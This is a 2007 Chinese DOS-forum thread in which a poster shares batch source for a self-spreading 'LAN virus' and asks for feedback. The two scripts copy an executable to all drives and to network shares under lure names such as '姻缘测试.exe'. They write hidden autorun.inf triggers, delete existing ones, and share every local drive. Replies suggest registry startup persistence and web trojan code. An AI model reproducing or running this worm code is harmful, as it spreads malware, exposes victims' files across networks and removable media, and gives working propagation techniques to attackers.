中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-04 06:44
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » [原创]菜鸟刚编的局域网病毒,请大家指教 查看 1,273 回复 13
楼 主 [原创]菜鸟刚编的局域网病毒,请大家指教 发表于 2007-04-13 22:05 ·  中国 上海 奉贤区 电信
新手上路
积分 10
发帖 4
注册 2007-04-10 11:13
19年会员
UID 84617
性别 男
状态 离线
@echo off
dir > 365.txt
find "的目录" 365.txt >linshi.txt
for /f "skip=2 tokens=1 delims=\ " %%a in (linshi.txt) do explorer %%a
del 365.txt & del linshi.txt
::先根据用户操作打开相应磁盘
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do copy /y icefire.exe %%k:
::复制本身到所有磁盘
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do copy /y icefire.exe %%k:\姻缘测试.exe
::复制诱惑文件到所有磁盘
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo [AutoRun]>>%%k:\autorun.inf
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo shell\open\command=icefire.exe>>%%k:\autorun.inf
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo shell\open=打开(^&O)>>%%k:\autorun.inf
::以上三条为写自运行autorun.inf到所有磁盘
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do attrib +s +h +r %%k:\autorun.inf
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do attrib +s +h +r %%k:\icefire.exe
::隐藏自运行autorun.inf和病毒文件本体
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do net share %%k=%%k:
::共享所有磁盘

::实现本地计算机所有磁盘完全共享
::本程序为自己编写,有一定的危害。本身程序运行有可能会被卡巴所杀。请勿用于不正当用途
::请大家多指教啊
2 发表于 2007-04-13 23:07 ·  中国 安徽 芜湖 电信
高级用户
★★★
积分 866
发帖 415
注册 2005-12-04 11:19
20年会员
UID 46459
状态 离线
这个代码执行效率不高。完全可以再精简。
3 发表于 2007-04-13 23:17 ·  中国 上海 奉贤区 电信
新手上路
积分 10
发帖 4
注册 2007-04-10 11:13
19年会员
UID 84617
性别 男
状态 离线
时刻关注中……

发现个问题,就是当用户在直接运行局域网其他机器上的程序时,不能把程序自身复制到用户本身磁盘。真郁闷,不知道怎么实现在其他机器直接运行能复制到本地磁盘。请教高手啊%……
4 发表于 2007-04-14 05:02 ·  中国 湖北 武汉 电信
初级用户
积分 68
发帖 30
注册 2007-01-16 07:05
19年会员
UID 76659
性别 男
状态 离线
只实现了自我复制和触发机制,并没有向其它机子传播啊?

我也曾构思过,也是AUTORUN.INF.不过我是用U盘作为载体. 这样只要是用过我U盘

的人.都在可能中哦.前提是要开了自动运行哈!
5 发表于 2007-04-15 00:02 ·  中国 北京 联通
初级用户
积分 88
发帖 41
注册 2006-03-08 17:38
20年会员
UID 51603
状态 离线
不怎么样。
6 发表于 2007-04-15 00:12 ·  中国 湖北 武汉 电信
版主
★★★★★
积分 11,386
发帖 4,938
注册 2006-07-23 17:10
20年会员
UID 59080
状态 离线
为什么不把这些for都合并呢?
7 修改过的实现局域网扩散。大家帮我看看哦 发表于 2007-04-15 00:51 ·  中国 上海 奉贤区 电信
新手上路
积分 10
发帖 4
注册 2007-04-10 11:13
19年会员
UID 84617
性别 男
状态 离线
@echo off
dir > 365.txt
find "的目录" 365.txt >linshi.txt
for /f "skip=2 tokens=1 delims=\ " %%a in (linshi.txt) do explorer %%a
del 365.txt & del linshi.txt
::打开相应目录
for %%k in (c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do net share %%k=%%k:
::开启本地磁盘共享

net view|find "\\" >>netview.txt
for /f "" %%a in (netview.txt) do (
del share.txt
net view %%a|find "Disk" >>share.txt
::取局域网共享目录
for /f "tokens=1" %%i in (share.txt) do (
copy /y icefire.exe %%a\%%i
::复制本身到局域网的共享目录里
copy /y icefire.exe %%a\%%i\缘分测试.exe
::复制为缘分测试.exe
attrib -s -h -r %%a\%%i\autorun.inf
del %%a\%%i\autorun.inf
::删除原有inf文件(主要怕原来有autorun.inf文件导致不能往里写)
echo >>%%a\%%i\autorun.inf
echo shell\open\command=icefire.exe>>%%a\%%i\autorun.inf
::写自启动文件autorun.inf到局域网共享目录
attrib +s +h +r %%a\%%i\autorun.inf
attrib +s +h +r %%a\%%i\icefire.exe
::隐藏autorun.inf和病毒体本身
)
)
del share.txt && del netview.txt


实现局域网相同工作组共享的感染和移动硬盘的感染

[ Last edited by jshysq on 2007-4-14 at 06:04 PM ]
8 发表于 2007-04-15 01:55 ·  中国 广东 广州 白云区 电信
初级用户
积分 98
发帖 47
注册 2007-01-28 05:39
19年会员
UID 77912
性别 男
状态 离线
不明白哦
9 发表于 2007-04-15 14:38 ·  中国 浙江 台州 临海市 电信
初级用户
积分 48
发帖 26
注册 2007-04-09 14:14
19年会员
UID 84505
性别 男
状态 离线
谢谢分享,收藏了
10 发表于 2007-04-16 01:07 ·  中国 河南 新乡 联通
初级用户
积分 58
发帖 27
注册 2007-03-21 06:36
19年会员
UID 82427
性别 男
状态 离线
免疫过的autorun.inf不是那么简单删除的
写入的autorun.inf语句已经过时了
应该再加上asp,htm挂马代码
还有就是运行后有cmd.exe,很容易被结束进程的
玄之又玄
众妙之门
11 发表于 2007-04-16 01:19 ·  中国 浙江 杭州 电信
银牌会员
★★★
积分 2,000
发帖 621
注册 2007-01-01 00:00
19年会员
UID 75212
性别 男
状态 离线
看到挂马两个字就来气。
12 发表于 2007-04-18 21:56 ·  中国 上海 奉贤区 电信
新手上路
积分 10
发帖 4
注册 2007-04-10 11:13
19年会员
UID 84617
性别 男
状态 离线
呵呵,其实还可以再实现很多功能的。
本来还可以挂个QQ的尾巴的
不过我想这东西不能写的太绝吧~呵呵

[ Last edited by jshysq on 2007-4-18 at 08:58 AM ]
13 发表于 2007-04-19 06:33 ·  中国 新疆 乌鲁木齐 电信
高级用户
★★★
Autowalk
积分 845
发帖 375
注册 2007-03-03 01:58
19年会员
UID 80606
性别 男
状态 离线
楼主不防加个reg文件,在注册表启动项里添加一个值,这样只要对方运行过一次麻烦就大了

Windows Registry Editor Version 5.00

"*.exe"="c\...\*.exe"

[ Last edited by zhoushijay on 2007-4-18 at 05:45 PM ]
14 发表于 2007-04-19 09:17 ·  中国 广东 广州 番禺区 电信
银牌会员
★★★
积分 1,206
发帖 517
注册 2007-03-25 01:18
19年会员
UID 82819
性别 男
状态 离线
用批处理,还不如用vbs写呢。
知,不觉多。不知,乃求知
论坛跳转: